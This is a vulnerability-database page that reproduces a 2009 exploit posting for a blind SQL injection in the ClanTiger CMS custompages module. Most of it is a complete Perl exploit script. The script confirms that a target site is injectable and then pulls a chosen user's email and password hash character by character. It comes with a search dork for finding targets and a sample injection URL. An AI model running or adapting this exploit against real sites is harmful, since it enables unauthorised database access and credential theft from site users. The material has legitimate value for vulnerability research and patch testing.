Lucene search
K

Clan Tiger 1.1.1 Blind SQL Injection

🗓️ 18 Apr 2009 00:00:00Reported by YEnH4ckErType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 21 Views

Clan Tiger 1.1.1 Blind SQL Injection in ClanTiger CMS custompage module. Vulnerable to blind SQL injection with tested versions on Firefox 2.0.0.20 and IE 7.0.5730. Custompage path: [HOME_PATH]/modules/custompages.php. Requires CCC_UID and CCC_CODE cookies

Code
`#!/usr/bin/perl  
#  
#-------------------------------------------------  
# (module custompage.php) BLIND SQL INJECTION   
#-------------------------------------------------  
#  
# CMS INFORMATION:   
#  
#-->WEB: http://www.clantiger.com  
#-->DOWNLOAD: http://www.clantiger.com/download-clan-cms  
#-->DEMO: http://www.demo.clantiger.com/  
#-->CATEGORY: CMS / Portals  
#-->DESCRIPTION: ClanTiger is a content management system specifically designed for gaiming  
# clans...  
#  
# CMS VULNERABILITY:  
#   
#-->TESTED ON: firefox 2.0.0.20 and IE 7.0.5730 (Default)  
#-->DORK: "Powered by ClanTiger"  
#-->CATEGORY: BLIND SQL INJECTION/ PERL EXPLOIT  
#-->AFFECT VERSION: LAST = 1.1.1 (1.1 too)  
#-->Discovered Bug date: 2009-04-11  
#-->Reported Bug date: 2009-04-11  
#-->Fixed bug date: Not fixed  
#-->Info patch (????): Not fixed  
#-->Author: YEnH4ckEr  
#-->mail: y3nh4ck3r[at]gmail[dot]com  
#-->WEB/BLOG: N/A  
#-->COMMENT: A mi novia Marijose...hermano,cuñada, padres (y amigos xD) por su apoyo.  
#  
#--------------  
#BUG FILE:  
#--------------  
#  
#Path --> [HOME_PATH]/modules/custompages.php  
#  
#It contents:  
#  
# function main()  
# {  
#   
# ...  
#  
# $page = new CustomPage();  
# $page->slug = $_GET['slug'];  
# $page->getBy(array('slug'));  
#   
# if(!$page->id)  
# {  
# throw new cccException('The page you are looking for is currently unavailable. You may need to STOP! Hammertime. If School Is Out, You should try reloading this page.','Page not found');  
# }  
#   
# $tpl->define('title',$page->title);  
# $tpl->define('content',$page->content); // we allow HTML here, no safeoutput  
#   
# $this->pageDetails->setTitle($page->title);  
# $this->pageDetails->addKeyword($page->keywords);  
# $this->pageDetails->setDescription($page->description);  
#   
# $this->content = $tpl->publish();  
# $this->display();  
# }  
#  
#---------------  
#CONDITIONS:  
#---------------  
#  
#**DB_PREFIX="" (Default)   
#  
# maybe: db, db_clan, ...  
#  
#**Exist a custompage  
#  
#**gpc_magic_quotes=off  
#  
#------------------------------------------  
#PROOF OF CONCEPT (BLIND SQL INJECTION):  
#------------------------------------------  
#  
#[HOME_PATH]/modules/custompages.php?slug=the_custom_page' [BLIND SQL INJECTION]  
#  
#-------------  
#EXAMPLE:  
#-------------  
#  
#[HOME_PATH]/modules/custompages.php?slug=the_custom_page'%20AND%20((SELECT%20length(username)%20from%20members%20WHERE%20id=1)=5)%20/*  
#  
#Result: admin's username has 5 characters (maybe = admin? :P)  
#  
#*******************************************************************  
# GREETZ TO: Str0ke, JosS and all spanish Hack3Rs community!  
#*******************************************************************  
#  
use LWP::UserAgent;  
use HTML::TreeBuilder 2.96;  
#Subroutines  
sub lw  
{  
my $SO = $^O;  
my $linux = "";  
if (index(lc($SO),"win")!=-1){  
$linux="0";  
}else{  
$linux="1";  
}   
if($linux){  
system("clear");  
}  
else{  
system("cls");  
system ("title Clan Tiger CMS (module custompages.php) BLIND SQL Injection Exploit");  
system ("color 02");  
}  
}  
sub request {  
my $cookie="CCC_LANG=en;"." CCC_UID=".$_[0]."; CCC_CODE=".$_[1].";";  
my $userag = LWP::UserAgent->new;  
$userag -> agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');  
my $request = HTTP::Request -> new(GET => $_[2]);  
$request->header(cookie => $cookie);  
my $outcode= $userag->request($request)->as_string;  
return $outcode;  
}  
sub helper {  
print "\n\t[**] Clan Tiger CMS - BLIND SQL Injection Exploit\n";  
print "\t[??] USAGE MODE: [??]\n";  
print "\t[**] perl $0 [HOST] [PATH] [uid] [code] [slug] [id] [DB_PREFIX]\n";  
print "\t[**] [HOST]: Web attacked.\n";  
print "\t[**] [PATH]: Home Path.\n";  
print "\t[**] [uid]: The CCC_UID cookie.\n";  
print "\t[**] [code]: The CCC_CODE cookie.\n";  
print "\t[**] [slug]: Title custompage.\n";  
print "\t[**] [id]: Exploiting id user. Default: 1 (**optional)\n";  
print "\t[**] [DB_PREFIX]: Global var needed. Default: null (**optional)\n";  
print "\t[**] Example: perl $0 www.example.es Clan-tiger-111 f717716... \n";   
print "\t[**] ...2e1a50db06c0f2fe8804885ac2c01390 namecustompage 1 \"\"\n";  
}  
sub mail{  
$output=&request($_[0],$_[1],$_[2]);  
my $root = HTML::TreeBuilder->new_from_content($output);  
# source file  
$email= $root->look_down('_tag','td','style','width: 70%');  
print "\t-----------------------------------------------------------------\n";  
print "\tMail captured!.Getting password hash. Wait for a moment...\n";  
print "\t-----------------------------------------------------------------\n";  
return $email -> as_text();  
$root->delete();  
}  
sub password {  
#Second password...  
$j=1;  
$i=48;  
while(($j<=32) && ($i<=126)){  
my $finalrequest=$_[4]."'+AND+ascii(substring((SELECT+password+FROM+".$_[0]."members+WHERE+id=".$_[1]."),".$j.",1))=".$i."+/*";  
$output=&request($_[2],$_[3],$finalrequest);  
if ( $output =~ (/<title>/.$custompage))  
{  
$pass=$pass.chr($i);  
$j++;  
$i=47;  
}  
if($i==57)  
{  
$i=96;  
}  
#new char  
$i++;   
}  
#Error  
if(($i>127) || ($j>32)){  
if(!$pass){  
print "\t-----------------------------------------------------------------\n";  
print("\tEXPLOIT FAILED!\n");  
print("\tFatal error: Datas doesn't find!\n");  
print "\t-----------------------------------------------------------------\n";  
exit(1);  
}  
}  
return $pass;  
}  
#Main  
&lw;  
print "\t\t#########################################################\n\n";  
print "\t\t#########################################################\n\n";  
print "\t\t## Clan Tiger CMS - BLIND SQL Injection Exploit ##\n\n";  
print "\t\t## ++Conditions: Need a register user,a custompage ##\n\n";  
print "\t\t## and DB_PREFIX (default:null) ##\n\n";  
print "\t\t## Author: Y3nh4ck3r ##\n\n";  
print "\t\t## Contact:y3nh4ck3r[at]gmail[dot]com ##\n\n";  
print "\t\t## Proud to be Spanish! ##\n\n";  
print "\t\t#########################################################\n\n";  
print "\t\t#########################################################\n\n";  
#Init variables  
my $host=$ARGV[0];  
my $path=$ARGV[1];  
my $uid=$ARGV[2];  
my $code=$ARGV[3];  
my $custompage=$ARGV[4];  
#Build the uri  
my $finalhost="http://".$host."/".$path."/index.php?module=custompages&slug=";  
$finalhost=$finalhost.$custompage;  
#Check all variables needed  
$numArgs = $#ARGV + 1;  
if($numArgs<=4)   
{  
&helper;  
exit(1);   
}  
#Id-user is optional.Default:1  
if(!$ARGV[5]){  
$idhack="1";   
}else{  
$idhack=$ARGV[5];   
}  
if(!$ARGV[6]){  
$db_prefix="";   
}else{  
$db_prefix=$ARGV[6];   
}  
#Testing  
my $finalrequest = $finalhost;  
$output=&request($uid,$code,$finalrequest);  
if ( $output =~ /<div class="title">Access denied<\/div>/)  
{  
print "\t-----------------------------------------------------------------\n";  
print "\tYour credentials are not correct! This exploits need login.\n";  
print "\tOptions: [your-id-user],[your-password] incorrect.\n";   
print "\tExploit failed! No luck!\n";  
print "\t-----------------------------------------------------------------\n";  
exit(1);  
}  
if ( $output =~ /<div class="title">Page not found<\/div>/)  
{  
print "\t-----------------------------------------------------------------\n";  
print "\tCustom page doesn't exist! Maybe no there on this server!\n";  
print "\tOption: [slug-get-var] incorrect.\n";   
print "\tExploit failed! No luck!\n";  
print "\t-----------------------------------------------------------------\n";  
exit(1);  
}  
if ( $output =~ (/<title>/.$custompage))  
{  
print "\t-----------------------------------------------------------------\n";  
print "\tThis Web could be vulnerable!\n";  
print "\tThe custompage exists!\n";  
print "\tTesting Blind SQL Injection...\n";   
print "\t-----------------------------------------------------------------\n";  
}else{   
print "\t-----------------------------------------------------------------\n";  
print "\tCustompage doesn't exist!\n";  
print "\tEXPLOIT FAILED!\n";  
print "\t-----------------------------------------------------------------\n";  
exit(1);   
}   
#Test blind sql injection  
my $finalrequest=$finalhost."'+AND+1=1+/*";  
$output=&request($uid,$code,$finalrequest);  
if ( $output =~ (/<title>/.$custompage))  
{   
print "\t-----------------------------------------------------------------\n";  
print "\tThis Web is really vulnerable!\n";  
print "\tTested Blind SQL Injection.\n";   
print "\tChecking id user and DB_PREFIX null...\n";   
print "\t-----------------------------------------------------------------\n";  
}else{   
print "\t-----------------------------------------------------------------\n";  
print "\tThis Web is not vulnerable (Maybe patched)!\n";  
print "\tEXPLOIT FAILED!\n";  
print "\t-----------------------------------------------------------------\n";  
exit(1);   
}   
#Test if user exists and DB_PREFIX  
my $finalrequest=$finalhost."'+AND+(SELECT+COUNT(*)+from+".$db_prefix."members+WHERE+id=".$idhack.")+/*";  
$output=&request($uid,$code,$finalrequest);  
if ( $output =~ (/<title>/.$custompage))  
{   
print "\t-----------------------------------------------------------------\n";  
print "\tOK...The user exists and DB_PREFIX is '".$db_prefix."'!\n";   
print "\tStarting exploit...\n";   
print "\t-----------------------------------------------------------------\n";  
print "\tWait several minutes...\n";   
print "\t-----------------------------------------------------------------\n";  
}else{   
print "\t-----------------------------------------------------------------\n";  
print "\tUser doesn't exists or DB_PREFIX not '".$db_prefix."'\n";   
print "\tEXPLOIT FAILED!\n";  
print "\t-----------------------------------------------------------------\n";  
exit(1); }   
#OK, now we get the mail user from web   
#i got it from blind sql but this method is faster and reduce time of injection  
#First email...  
my $hostmail="http://".$host."/".$path."/index.php?module=profiles&action=view&id=".$idhack;  
$mail=&mail($uid,$code,$hostmail);  
$passhash=&password($db_prefix,$idhack,$uid,$code,$finalhost);  
print "\n\t\t*************************************************\n";  
print "\t\t**** EXPLOIT EXECUTED (CREDENTIALS STEALER) ****\n";  
print "\t\t*************************************************\n\n";  
print "\t\tUser-id:".$idhack."\n";  
print "\t\tUser-email:".$mail."\n";  
print "\t\tUser-password(hash):".$passhash."\n\n";  
print "\n\t\t----------------------FINISH!--------------------\n\n";  
print "\t\t---------------Thanks to: y3hn4ck3r--------------\n\n";  
print "\t\t------------------------EOF----------------------\n\n";  
exit(1);  
#Ok...all job done  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation